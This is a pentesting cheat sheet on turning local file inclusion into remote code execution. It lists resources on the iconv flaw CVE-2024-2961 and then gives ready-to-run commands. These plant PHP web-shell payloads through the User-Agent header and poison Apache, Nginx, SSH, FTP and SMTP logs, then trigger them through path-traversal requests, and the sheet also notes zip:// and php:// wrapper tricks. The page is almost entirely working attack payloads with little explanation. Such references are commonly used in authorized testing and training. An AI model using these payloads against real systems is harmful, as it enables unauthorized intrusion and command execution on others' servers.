Appearance
LFI 2 RCE
Iconv Filter (CVE-2024-2961)
📚 Resources
- Explanations : Iconv CVE-2024-2961 (Part 1) / Iconv CVE-2024-2961 (Part 2)
- php filters chain
- Hacktricks reference
Tools
RCE /proc/self/environ
Send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
bash
# curl
curl -A "<?=phpinfo(); ?>" https://example.com/index.php?page=../../../proc/self/environLog poisoning
Inject Malicious Payload
/var/log/apache2 & /var/log/nginx/
- Apache :
/var/log/apache2/access.log/var/log/apache2/error.log - Nginx :
/var/log/nginx/access.log/var/log/nginx/error.log
Inject via GET parameters or User-Agent headers.
bash
# curl
curl -A "<?php system($_GET['cmd']);?>" https://example.com/index.php?page=../../../var/log/apache2/access.logOthers /var/log/...
SSH: /var/log/auth.log
bash
# Sending the payload via SSH
ssh '<?php phpinfo(); ?>'@$TARGETFTP: /var/log/vsftpd.log
bash
# Sending the payload via FTP
ftp $TARGET > '<php system($_GET['cmd'])?>'SMTP: /var/log/mail.log
bash
# Sending the payload via telnet
telnet $TARGET_IP $TARGET_PORT
> MAIL FROM:<john@doe.com>
> RCPT TO:<?php system($_GET['cmd']); ?>Trigger Execution via LFI
bash
# Accessing the log file via LFI
curl -i $URL/?page=/var/log/auth.log&cmd=id # SSH
curl -i $URL/?page=/var/log/vsftpd.log&cmd=id # FTP
curl -i $URL/?page=/var/log/mail.log&cmd=id # SMTPOthers
RCE via
File Upload (e.g., zip, image):
bashexample.com/?page=zip://file.zip%23rce.phpPHP Sessions
Wrappers
php://&data://php info phpinfo RCE